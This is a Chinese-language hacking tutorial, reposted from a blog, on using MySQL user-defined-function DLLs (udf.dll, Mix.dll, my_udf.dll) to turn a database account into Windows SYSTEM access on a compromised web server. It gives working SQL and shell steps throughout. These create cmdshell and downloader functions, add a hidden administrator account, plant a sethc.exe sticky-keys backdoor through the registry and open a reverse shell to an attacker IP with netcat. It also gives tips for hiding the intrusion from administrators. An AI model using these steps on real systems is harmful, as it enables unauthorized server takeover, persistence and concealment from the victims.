Mysql udf /Mix 提权

第一部分从Hack58看到了,原作者不知道了,下面的部分也是从网上摘的,如侵犯了版权请留言。 一、功能:利用MYSQL的自定义函数功能(再次声 明:利用MYSQL UDF提权绝非是溢出,而是MYSQL本身的一个功能),将MYSQL账号转化为系统system权限。二、适用场合:1.目标系统是 Windows(Win2000,XP,Win2003);2.你已经拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和 delete权限以创建和抛弃函数(MYSQL文档原语)。

三、使用帮助:
第一步:将PHP文件上传到目标机上,填入你的MYSQL账号经行连接。

第二步:连接成功后,导出DLL文件,导出时请勿必注意导出路径(一般情况下对任何目录可写,无需考虑权限问题),对于MYSQL5.0以上版本,你必须 将DLL导出到目标机器的系统目录(win 或 system32),否则在下一步操作中你会看到”No paths allowed for shared library”错误。

第 三步:使用SQL语句创建功能函数。语法:Create Function 函数名(函数名只能为下面列表中的其中之一) returns string soname ‘导出的DLL路径’;对于MYSQL5.0以上版本,语句中的DLL不允许带全路径,如果你在第二步中已将DLL导出到系统目录,那么你就可以省略路径 而使命令正常执行,否则你将会看到”Can’t open shared library”错误,这时你必须将DLL重新导出到系统目录。

第四步:正确创建功能函数后,你就可以用SQL语句来使用这些功能了。语法:select 创建的函数名(‘参数列表’); 每个函数有不同的参数,你可以使用select 创建的函数名(‘help’);来获得指定函数的参数列表信息。

四、功能函数说明:
cmdshell 执行cmd;
downloader 下载者,到网上下载指定文件并保存到指定目录;
open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
backshell 反弹Shell;
ProcessView 枚举系统进程;
KillProcess 终止指定进程;
regread 读注册表;
regwrite 写注册表;
shut 关机,注销,重启;
about 说明与帮助函数;

写注册表函数.
select regwrite(“HKEY_LOCAL_MACHINE”,”SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe”,”Debugger”,”REG_SZ”,”E:\web\170stock\admin\include\explorer.exe”);

 
C:Winntudf.dll    2000
C:Windowsudf.dll 2003
现在基本上win的服务器就这两个导出UDF.DLL
create function cmdshell returns string soname ‘udf.dll’
select cmdshell(‘net user admins 226404553 /add’);
select cmdshell(‘net localgroup administrators admins /add’);
select cmdshell(‘c:3389.exe’);
drop function cmdshell; 删除函数
select cmdshell(‘netstat -an’);

三:Mix.dll提权
WEBSHELL获得了,找用户和密码也不是什么难事。现在我拿我另外一台机器做示范,已经把PHPSHELL传上去了,一般来说连接MYSQL的帐户密码很好找,随便编辑一个PHP文件,就看到了。
看 到了吧,用户名:root 密码:123456 库名:php 然后怎么办呢?先用SQL Query 建立连接,哈连接成功了,现在开始将我们的提权用滴东东:Mix.dll My_udf.dll上传上去先.OK,传好了,Mix.dll用于反弹连接,My_udf.dll是正向连接,直接用连接对方的3306端口然后输入密 码就可获得CMDSHELL。好,不多说了,传上去之后呢就执行以下SQL语句create function Mixconnect returns string soname ‘d:\php\php\Mix.dll’; 来注册函数.

出现SQL语句成功执行!

离 拿到CMDSHELL已经不远了,我们先用NC在本地监听一个端口先,Nc -l -p 1234 (这个我想不用截图了吧)而后执行语句:select Mixconnect(‘192.168.1.254′,’1234’); 来激活那个函数,执行成功,然后看看我们的NC有反映没,成功得到CMSHELL,不过这时对方的MYSQL已经假死咯,我们要把MYSQL服务进程给 kill掉,然后重新启动MYSQL服务才行,不然管理员发现网站运行不了了,那就。。。。如果该服务器不允许连接任何外部IP和端口,而他的3306端 口却是对外开的!这时My_udf.dll就该上场了,使用方法和Mix一样,连接MYSQL成功后执行如下语句:create function my_udfdoor returns string soname ‘D:\php\phpmy_udf.dll’; 执行语句成功后,然后我们就开始激活这个函数,输入语句:select my_udfdoor (”); 然后用nc连接3306端口,然后输入fuck 就可以得到一个cmdshell了
提权方面(mix.dll提权)

D:/usr/www/html/mix.dll mysql -h 目标ip -uroot -p . c:mysql.txt select Mixconnect(‘反弹ip’,’端口’); nc -vv -l -p 1983

本文转自h4ckw0rld的百度空间由网络安全攻防研究室(www.91ri.org)信息安全小组收集整理。